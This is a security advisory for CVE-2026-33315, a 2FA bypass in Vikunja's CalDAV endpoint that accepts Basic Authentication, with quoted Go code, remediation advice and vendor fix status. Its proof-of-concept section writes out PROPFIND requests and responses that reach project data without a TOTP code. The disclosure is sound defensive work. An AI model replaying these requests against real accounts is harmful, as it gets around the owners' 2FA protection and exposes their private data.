Docker
CVE-2026-33315
MEDIUM
GHSA-47cr-f226-r4pq
Severity by source
AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Primary rating from GitHub Advisory.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Lifecycle Timeline
3DescriptionGitHub Advisory
Summary
The Caldav endpoint allows login using Basic Authentication, which in turn allows users to bypass the TOTP on 2FA-enabled accounts. The user can then access standard project information that would normally be protected behind 2FA (if enabled), such as project name, description, etc.
Details
The two files below show that when a user is accessing Caldav via Basic Authentication, it skips all steps involving 2FA. The order of operations is essentially:
- Retrieve basic credentials.
- Verify username.
- Verify password.
- Success
pkg/routes/caldav/auth.go:45
u, err := checkUserCaldavTokens(s, credentials)
if user.IsErrUserDoesNotExist(err) {
return false, nil
}
if u == nil {
u, err = user.CheckUserCredentials(s, credentials)
if err != nil {
log.Errorf("Error during basic auth for caldav: %v", err)
return false, nil
}
}pkg/user/user.go:358
func CheckUserCredentials(s *xorm.Session, u *Login) (*User, error) {
// Check if we have any credentials
if u.Password == "" || u.Username == "" {
return nil, ErrNoUsernamePassword{}
}
// Check if the user exists
user, err := getUserByUsernameOrEmail(s, u.Username)
if err != nil {
// hashing the password takes a long time, so we hash something to not make it clear if the username was wrong
_, _ = bcrypt.GenerateFromPassword([]byte(u.Username), 14)
return nil, ErrWrongUsernameOrPassword{}
}
if user.Issuer != IssuerLocal {
return user, &ErrAccountIsNotLocal{UserID: user.ID}
}
// The user is invalid if they need to verify their email address
if user.Status == StatusEmailConfirmationRequired {
return &User{}, ErrEmailNotConfirmed{UserID: user.ID}
}
// Check the users password
err = CheckUserPassword(user, u.Password)
if err != nil {
if IsErrWrongUsernameOrPassword(err) {
handleFailedPassword(user)
}
return user, err
}
return user, nil
}PoC
- Setup a Docker instance of Vikunja
v2.1.0and create an account. Enable 2FA on the account.
<img width="1506" height="646" alt="CleanShot 2026-03-16 at 15 30 24@2x" src="https://github.com/user-attachments/assets/e88522af-4333-4758-8ba4-3e34de9680f7" />
- Logout of the account.
- Using a web proxy, such as Burp Suite, craft an HTTP request to the endpoint similar to the one shown below. Ensure that the 2FA-enabled user's username and password is properly Base64-encoded and inserted into the
Authorizationheader.
PROPFIND /dav/principals/ HTTP/1.1
Host: 127.0.0.1:3456
Authorization: Basic {{ REDACTED }}
[ TRUNCATED ]
<?xml version="1.0"?><d:propfind xmlns:d="DAV:"><d:prop><d:displayname/><d:resourcetype/></d:prop></d:propfind>- Observe that the response contains authenticated user information.
HTTP/1.1 207 Multi-Status
Content-Type: text/xml; charset=utf-8
Vary: Accept-Encoding
Date: Mon, 16 Mar 2026 19:31:47 GMT
Content-Length: 398
<?xml version="1.0" encoding="UTF-8"?><D:multistatus xmlns:D="DAV:" xmlns:C="urn:ietf:params:xml:ns:caldav" xmlns:CS="http://calendarserver.org/ns/"><D:response><D:href>/dav/projects</D:href><D:propstat><D:prop><D:displayname>projects</D:displayname>
[ TRUNCATED ]- Other requests can then be crafted to retrieve more information about a specific project, such as the one below.
PROPFIND /dav/projects/1/{{ PROJECT NAME }}/ HTTP/1.1
Host: 127.0.0.1:3456
Authorization: Basic [ REDACTED ]
[TRUNCATED]
<?xml version="1.0"?><c:calendar-query xmlns:d="DAV:" xmlns:c="urn:ietf:params:xml:ns:caldav"><d:prop><d:getetag/><c:calendar-data/></d:prop><c:filter><c:comp-filter name="VCALENDAR"><c:comp-filter name="VTODO"/></c:comp-filter></c:filter></c:calendar-query>HTTP/1.1 207 Multi-Status
Content-Type: text/xml; charset=utf-8
[ TRUNCATED ]
[ TRUNCATED ]
<D:prop><C:calendar-data>BEGIN:VCALENDAR
VERSION:2.0
X-PUBLISHED-TTL:PT4H
X-WR-CALNAME:Inbox
PRODID:-//Vikunja Todo App//EN
BEGIN:VTODO
UID:8gb6eclz-dad5-4a38-80a8-09005707eb51
DTSTAMP:20260316T190905Z
SUMMARY:test
DESCRIPTION:<p>description</p>
CREATED:20260301T203712Z
LAST-MODIFIED:20260316T190905Z
BEGIN:VALARM
TRIGGER;VALUE=DATE-TIME:20260316T130000Z
ACTION:DISPLAY
DESCRIPTION:test
END:VALARM
END:VTODO
END:VCALENDAR</C:calendar-data></D:prop><D:status>HTTP/1.1 200 OK
[ TRUNCATED ]Impact
Any user that has 2FA enabled could have it bypassed, allowing attacker access to a lot of the user's project information.
Remediation
If there are 2FA barriers to access an account in a specific fashion, all integrations should follow those if they're using the same methods of authentication. The easiest path is probably to disable Basic Authentication for Caldav by default, but keep the token access enabled, that way users can generate tokens specifically for Caldav if they want to use that feature. Basic Auth for it could be kept, but would most likely want to be a feature flag or something along those lines. That's so users can turn it on if it's necessary, but can be notified in the documentation that it's a more unsafe pattern if 2FA is enabled.
AnalysisAI
The Vikunja todo application contains an authentication bypass vulnerability in its CalDAV endpoint that allows attackers to circumvent two-factor authentication (2FA) protections by using basic HTTP authentication. An attacker with valid username and password credentials can access CalDAV endpoints without providing a TOTP token, gaining unauthorized access to protected project information including names, descriptions, and task details. A proof-of-concept exploit has been publicly documented, and patches are available from the vendor.
Technical ContextAI
The vulnerability exists in the Vikunja API (CPE: pkg:go/code.vikunja.io_api), specifically in the CalDAV authentication handler located in pkg/routes/caldav/auth.go. The flaw is rooted in CWE-288 (Authentication Bypass Using an Alternate Path or Channel), where the CalDAV endpoint implements a separate authentication code path that bypasses the application's 2FA verification mechanisms entirely. When a user authenticates via HTTP Basic Authentication to CalDAV endpoints, the code path skips all TOTP validation steps and proceeds directly to username and password verification. The vulnerable authentication sequence in CheckUserCredentials() only validates the user's existence, password correctness, and email confirmation status, but never checks whether the user has 2FA enabled or validates the TOTP token. This creates a parallel authentication mechanism that circumvents security controls enforced in the primary application UI.
RemediationAI
Immediately upgrade Vikunja to a patched version containing commit cdf5d30a425d032f749b78b98b828f25ad882615 or later. The vendor's recommended remediation is to enforce 2FA verification in the CalDAV authentication handler, ensuring that TOTP validation occurs before granting access regardless of authentication method. As a short-term workaround if immediate patching is not feasible, disable Basic Authentication for CalDAV endpoints and require users to authenticate using generated application tokens instead, which can be managed separately from 2FA settings. Organizations should also implement network-level restrictions to CalDAV endpoints, limiting access to trusted IP ranges or requiring VPN connectivity. Enable audit logging for all CalDAV authentication attempts to detect unauthorized access patterns. Review credential security practices and consider enforcing password managers or phishing-resistant authentication methods to reduce the risk of credential compromise that could enable this attack.
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Same technique Authentication Bypass
View allVendor StatusVendor
SUSE
Severity: Medium| Product | Status |
|---|---|
| openSUSE Leap 15.6 | Fixed |
| SUSE Linux Enterprise Module for Package Hub 15 SP5 | Fixed |
| SUSE Linux Enterprise Module for Package Hub 15 SP6 | Fixed |
| openSUSE Leap 15.5 | Fixed |
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External POC / Exploit Code
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